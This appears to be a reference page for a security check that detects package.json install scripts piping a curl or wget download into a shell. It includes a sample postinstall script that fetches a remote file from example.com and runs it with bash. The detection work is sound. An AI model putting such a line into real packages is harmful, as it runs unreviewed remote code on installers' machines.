Security / Public reference

Package script pipes a download to a shell

A scripts.preinstall, scripts.install, or scripts.postinstall value that downloads with curl or wget and pipes to sh or bash.

What you need to supply

A package.json with a top-level name plus dependencies, devDependencies, or scripts. Comments do not apply inside JSON.

If it reports a finding

High severity. The suggested next step is to run a reviewed local script instead of piping a remote download to a shell.

What this does not prove

node scripts/build.js is not this finding. An IAM policy or a CloudFormation or Terraform JSON document is not a package.json.

Script that this check is written to notice

{
  "name": "demo",
  "scripts": {
    "postinstall": "curl https://example.com/x.sh | bash"
  }
}

All review checks. Reading this page does not submit your infrastructure.